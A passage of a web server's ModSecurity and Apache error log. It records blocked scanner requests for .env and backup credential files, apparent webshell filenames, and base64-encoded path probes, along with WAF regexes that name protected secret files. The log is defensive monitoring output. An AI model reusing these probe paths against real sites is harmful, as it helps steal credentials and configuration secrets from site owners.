"900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/invisi.php"] [unique_id "ai3xeCmiP80klyS0Nnr3igAAAV8"] [Sat Jun 13 18:10:32.223522 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:10:32.223983 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:10:32.310233 2026] [security2:error] [pid 531797:tid 532038] [client 20.151.217.54:48071] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/class-bda.php"] [unique_id "ai3xeMTA7b1mZrmcA-8k_QAAAj0"] [Sat Jun 13 18:10:32.356833 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.86:40794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:32.357257 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.86:40794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:32.382139 2026] [security2:error] [pid 531797:tid 532089] [client 20.151.217.54:9353] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/htto.php"] [unique_id "ai3xeMTA7b1mZrmcA-8lAgAAAm4"] [Sat Jun 13 18:10:32.447504 2026] [lsapi:warn] [pid 531155:tid 531381] [client 31.146.76.10:1191] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:10:32.559398 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:32.559759 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:32.744732 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:32.745027 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:32.927963 2026] [security2:error] [pid 531797:tid 532052] [client 208.84.100.62:29938] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env"] [unique_id "ai3xeMTA7b1mZrmcA-8lFQAAAko"] [Sat Jun 13 18:10:32.941712 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.90:27010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:32.942208 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.90:27010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:32.953536 2026] [security2:error] [pid 531797:tid 532128] [client 172.171.3.232:17587] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/flox.php"] [unique_id "ai3xeMTA7b1mZrmcA-8lGAAAApM"] [Sat Jun 13 18:10:33.091386 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.53:44004] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:33.091684 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.53:44004] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:33.093487 2026] [access_compat:error] [pid 531797:tid 531903] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI= [Sat Jun 13 18:10:33.093918 2026] [access_compat:error] [pid 531797:tid 531903] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI= [Sat Jun 13 18:10:33.122070 2026] [security2:error] [pid 531797:tid 532022] [client 208.84.100.62:41780] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.old"] [unique_id "ai3xecTA7b1mZrmcA-8lHwAAAi4"] [Sat Jun 13 18:10:33.133991 2026] [security2:error] [pid 531155:tid 531312] [client 208.84.100.62:41800] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/src/.env"] [unique_id "ai3xeSmiP80klyS0Nnr3pAAAASU"] [Sat Jun 13 18:10:33.134052 2026] [security2:error] [pid 531797:tid 532086] [client 208.84.100.62:41846] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/public/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lIgAAAmw"] [Sat Jun 13 18:10:33.134160 2026] [security2:error] [pid 531797:tid 532079] [client 208.84.100.62:41822] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/laravel/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lJgAAAmU"] [Sat Jun 13 18:10:33.134242 2026] [security2:error] [pid 531155:tid 531310] [client 208.84.100.62:41840] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/web/.env"] [unique_id "ai3xeSmiP80klyS0Nnr3owAAASM"] [Sat Jun 13 18:10:33.134358 2026] [security2:error] [pid 531797:tid 532040] [client 208.84.100.62:41836] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/server/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lJAAAAj8"] [Sat Jun 13 18:10:33.215254 2026] [security2:error] [pid 531155:tid 531407] [client 208.84.100.62:41756] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.backup"] [unique_id "ai3xeSmiP80klyS0Nnr3pgAAAYQ"] [Sat Jun 13 18:10:33.220410 2026] [security2:error] [pid 531797:tid 532057] [client 208.84.100.62:41794] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/app/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lLAAAAk8"] [Sat Jun 13 18:10:33.225434 2026] [security2:error] [pid 531797:tid 532091] [client 208.84.100.62:41808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/backend/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lMAAAAnA"] [Sat Jun 13 18:10:33.225498 2026] [security2:error] [pid 531797:tid 532099] [client 208.84.100.62:41744] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.bak"] [unique_id "ai3xecTA7b1mZrmcA-8lLwAAAng"] [Sat Jun 13 18:10:33.225507 2026] [security2:error] [pid 531797:tid 532005] [client 208.84.100.62:41758] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/api/.env"] [unique_id "ai3xecTA7b1mZrmcA-8lNAAAAh0"] [Sat Jun 13 18:10:33.246164 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:10:33.246429 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:10:33.336357 2026] [security2:error] [pid 531797:tid 531943] [remote 17.22.237.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xecTA7b1mZrmcA-8lSwACVU8"] [Sat Jun 13 18:10:33.352783 2026] [security2:error] [pid 531797:tid 532098] [client 191.233.234.186:38854] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/asu.php"] [unique_id "ai3xecTA7b1mZrmcA-8lWgAAAnc"] [Sat Jun 13 18:10:33.420571 2026] [security2:error] [pid 531797:tid 531900] [remote 17.241.219.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xecTA7b1mZrmcA-8lXAACVCQ"] [Sat Jun 13 18:10:33.421744 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.36:48968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:33.422189 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.36:48968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:33.456536 2026] [security2:error] [pid 531797:tid 532068] [client 20.151.217.54:40188] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/wp-form.php"] [unique_id "ai3xecTA7b1mZrmcA-8lYAAAAlo"] [Sat Jun 13 18:10:33.517733 2026] [security2:error] [pid 531797:tid 532067] [client 20.151.217.54:9423] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/mg.php"] [unique_id "ai3xecTA7b1mZrmcA-8lZAAAAlk"] [Sat Jun 13 18:10:33.571122 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:33.571551 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:33.764036 2026] [security2:error] [pid 531797:tid 531897] [remote 17.22.253.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xecTA7b1mZrmcA-8lbQACeyE"] [Sat Jun 13 18:10:33.800644 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:33.801127 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:33.846097 2026] [security2:error] [pid 531155:tid 531373] [client 191.234.188.123:64616] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/kaza.php"] [unique_id "ai3xeSmiP80klyS0Nnr3zwAAAWI"] [Sat Jun 13 18:10:33.893125 2026] [security2:error] [pid 531797:tid 532081] [client 172.171.3.232:25766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/m7rpo0.php"] [unique_id "ai3xecTA7b1mZrmcA-8lcgAAAmc"] [Sat Jun 13 18:10:33.956776 2026] [security2:error] [pid 531797:tid 531889] [remote 17.241.75.56:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xecTA7b1mZrmcA-8ldQACZhk"] [Sat Jun 13 18:10:33.961239 2026] [security2:error] [pid 531797:tid 532037] [client 172.171.3.232:35247] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-foter.php"] [unique_id "ai3xecTA7b1mZrmcA-8ldgAAAjw"] [Sat Jun 13 18:10:33.985874 2026] [security2:error] [pid 531797:tid 532031] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation13.phpt"] [unique_id "ai3xecTA7b1mZrmcA-8ldwAAAjY"] [Sat Jun 13 18:10:34.013851 2026] [security2:error] [pid 